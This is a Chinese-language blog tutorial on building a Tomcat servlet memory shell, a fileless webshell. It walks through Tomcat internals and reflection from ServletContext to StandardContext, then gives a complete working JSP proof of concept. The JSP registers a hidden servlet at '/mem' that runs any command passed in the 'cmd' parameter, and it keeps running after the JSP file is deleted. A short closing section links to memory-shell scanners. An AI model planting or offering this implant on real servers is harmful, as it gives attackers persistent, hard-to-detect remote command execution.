Servlet内存马

内存马

内存马是一种无文件Webshell,简单来说就是服务器上不会存在需要链接的webshell脚本文件。内存马的原理就是在web组件或者应用程序中,注册一层访问路由,访问者通过这层路由,来执行我们控制器中的代码,一句话就能概括,那就是对访问路径映射及相关处理代码的动态注册。

Java内存shell有很多种,大致分为:

  1. 动态注册filter
  2. 动态注册servlet
  3. 动态注册listener
  4. 基于Java agent拦截修改关键类字节码实现内存shell

Servlet 内存马

实际上tomcat维护了一个大的hashmap<id,Servlet> 里面存放着servlet实例,当我们第一次尝试访问这个servlet路径时,tomcat使用反射将该servlet实例化同时调用init() 作初始化,之后这个实例就存放在了tomcat维护的hashmap<id,Servlet>中供后续使用。当再次请求这个servlet资源的时候,由于hashmap<id,Servlet>已经有这个实例 ,所以这时也不用再实例化对象,直接就可以使用了,因此init() 也不会调用。

因此可以看出,servlet 自实例化以来就一直可以常驻内存中,直到服务器关闭或Servlet调取destroy()方法进行销毁,Servlet生命周期才正式结束。

Tomcat总体架构

image-20251204191850189

1
2
3
4
5
6
7
8
9
10
11
Server:整个 Tomcat 实例(就是一个运行的 Tomcat 程序)。

Service:Server 里提供服务的组件。里面有 多个 Connector(监听不同端口,比如 80808443),和 一个 Engine(处理请求逻辑)。

Engine:相当于大脑,决定请求交给哪个虚拟主机(Host)。

Host:虚拟主机,一个域名就是一个 Host(www.a.com / www.b.com 可以共存)。

Context:一个 Web 应用(比如你部署的一个 war 包,就是一个 Context)。

Wrapper:一个 Servlet 的包装器,每个 Servlet 对应一个 Wrapper

环境

1
2
jdk1.8.0_202
Tomcat:9.0.107

调试tomcat依赖

1
2
3
4
5
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>9.0.107</version>
</dependency>

tomcat调式分析servlet

org/apache/catalina/startup/ContextConfig.java文件

**configureContext(WebXml webxml)**方法

1
for (ServletDef servlet : webxml.getServlets().values())

遍历servlet,将其加载

调试发现,当前servlets

image-20250818231321505

servletMappings

image-20250818231405966

servletMappingNames

image-20250818231429700

可以发现,重点为:

1
2
3
4
//加载servlet
context.addChild(wrapper);
//设置映射
context.addServletMappingDecoded(entry.getKey(), entry.getValue());

检查context

发现当前context为StandardContext

image-20250818231755440

最终肯定是要用StandardContext将恶意servlet加载进tomcat

需要使用反射获取StandardContext

内存马编写

恶意servlet

1
2
3
4
5
6
7
8
9
10
11
12
<%!
//定义恶意servlet
public class shellServlet extends HttpServlet{
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
resp.getWriter().write("hello world");
Process process = Runtime.getRuntime().exec(req.getParameter("cmd"));
}
}

//不用写映射,因为后面获取了context后,加载时再写
%>

反射获取context

前置知识

1
2
ApplicationContext appContext = new ApplicationContext(standardContext);
ServletContext facade = new ApplicationContextFacade(appContext);

Tomcat 启动 Web 应用时

  1. Tomcat 会创建 StandardContext
  2. 创建 ApplicationContext 并把 StandardContext 传进去
  3. 创建 ApplicationContextFacade 并把 ApplicationContext 传进去

所以当应用启动完成时:

  • 这些对象 都已经存在实例
  • 字段也已经被构造函数初始化
  • 你通过反射去访问 context 字段,就能拿到 实际对象

通过request拿到ServletContext

1
2
3
4
5
6
7
8
9
10
//通过request拿到ServletContext
ServletContext servletContext = request.getServletContext();


//ServletContext 是 标准接口,所有 Servlet 容器都要实现它
//规范并不限制具体类名
//不同容器实现不同,例如:
//Tomcat → org.apache.catalina.core.ApplicationContextFacade
//Jetty → org.eclipse.jetty.servlet.ServletContextHandler.Context
//Undertow → Undertow 自己的实现类

request.getServletContext()返回ServletContext接口的实现类ApplicationContextFacade对象

ApplicationContextFacade

1
private final ApplicationContext context;

context是一个ApplicationContext类型,且是private,因此需要反射

1
2
3
4
//通过ServletContext拿到ApplicationContext,因为getServletContext()拿到的是对象,所以要getClass()
Field applicationContextField = servletContext.getClass().getDeclaredField("context");
applicationContextField.setAccessible(true);
ApplicationContext applicationContext =(ApplicationContext) applicationContextField.get(servletContext);

ApplicationContext

1
private final StandardContext context;

依然使用反射

1
2
3
4
//通过ApplicationContext拿到standardContext
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext =(StandardContext) standardContextField.get(applicationContext);

到这里已经成功拿到了standardContext对象,也就是ContextConfig的context

反射流程图

1
2
3
4
5
6
7
request.getServletContext() 

└─> facade (ApplicationContextFacade, implements ServletContext)

└─> ApplicationContext (持有 StandardContext)

└─> StandardContext (管理 Web 应用,Servlet/Wrapper/URL 映射)

封装wrapper

一个wrapper就是一个servlet,因此需要封装传入,在wrapper里设置servlet的属性

1
Wrapper wrapper = standardContext.createWrapper();

Wrapper 是 Tomcat 内部接口/类,表示 单个 Servlet 的容器对象

每个 Servlet 都有对应的 Wrapper,管理它的生命周期(实例化、初始化、调用 service/doGet/doPost 等)

createWrapper() 会生成一个空的 Wrapper 对象,还没有绑定类和名字

设置属性

1
2
wrapper.setName("memshell");
wrapper.setServletClass(shellServlet.class.getName());

wrapper.setName("memshell")

  • 相当于在 web.xml<servlet><servlet-name>memshell</servlet-name></servlet>
  • 给这个 Servlet 起一个唯一名字

wrapper.setServletClass(shellServlet.class.getName())

  • 相当于 <servlet-class>your.package.shellServlet</servlet-class>

  • 告诉 Tomcat 这个 Servlet 对应的类

1
wrapper.setServlet(new shellServlet());

直接把 Servlet 实例绑定到 Wrapper(这样 Tomcat 不需要自己实例化)

通常 Servlet 是怎么创建的

默认行为

  1. web.xml 配置了 <servlet-class>
  2. Tomcat 启动时 不会立即实例化 Servlet
  3. 第一次访问 URL 时,Tomcat 会用反射创建 Servlet 实例并调用 init()

setServlet(new shellServlet())

  1. 手动提前创建了 Servlet 实例
  2. Tomcat 在处理请求时 直接使用你提供的这个对象,而不是自己通过类名反射创建
  3. 相当于你自己帮 Tomcat “预先实例化”了这个 Servlet

添加servlet

1
2
standardContext.addChild(wrapper);
standardContext.addServletMappingDecoded("/mem","memshell");

把servlet放入tomcat

绑定映射

最终poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>



<%!
//定义恶意servlet
public class shellServlet extends HttpServlet{
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
resp.getWriter().write("hello world");
Process process = Runtime.getRuntime().exec(req.getParameter("cmd"));
}
}
%>

<%
//通过反射拿到standardContext

//通过request拿到ServletContext
ServletContext servletContext = request.getServletContext();

//通过ServletContext拿到ApplicationContext,拿到的是对象,所以要getClass()
Field applicationContextField = servletContext.getClass().getDeclaredField("context");
applicationContextField.setAccessible(true);
ApplicationContext applicationContext =(ApplicationContext) applicationContextField.get(servletContext);

//通过ApplicationContext拿到standardContext
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext =(StandardContext) standardContextField.get(applicationContext);

//将shellServlet封装到wrapper
Wrapper wrapper = standardContext.createWrapper();
wrapper.setName("memshell");
wrapper.setServletClass(shellServlet.class.getName());
wrapper.setServlet(new shellServlet());

//将wrapper添加到standardContext,并设置映射url
standardContext.addChild(wrapper);
standardContext.addServletMappingDecoded("/mem","memshell");
%>

启动项目访问

1
http://localhost:8081/servletShell_war_exploded/shell.jsp

再访问内存马映射路径

1
http://localhost:8081/servletShell_war_exploded/mem?cmd=calc

image-20250818235248225

成功执行,就算删除源文件依然存在

内存马查杀

1
https://github.com/c0ny1/java-memshell-scanner
1
https://github.com/4ra1n/shell-analyzer

参考文章

https://www.cnblogs.com/netsafe/p/17762794.html#%E5%89%8D%E8%A8%80%C2%A0

https://www.cnblogs.com/B0like/p/17476235.html


Servlet内存马
http://xiaowu5.cn/2025/12/04/Servlet内存马/
作者
5
发布于
2025年12月4日
许可协议
BY XIAOWU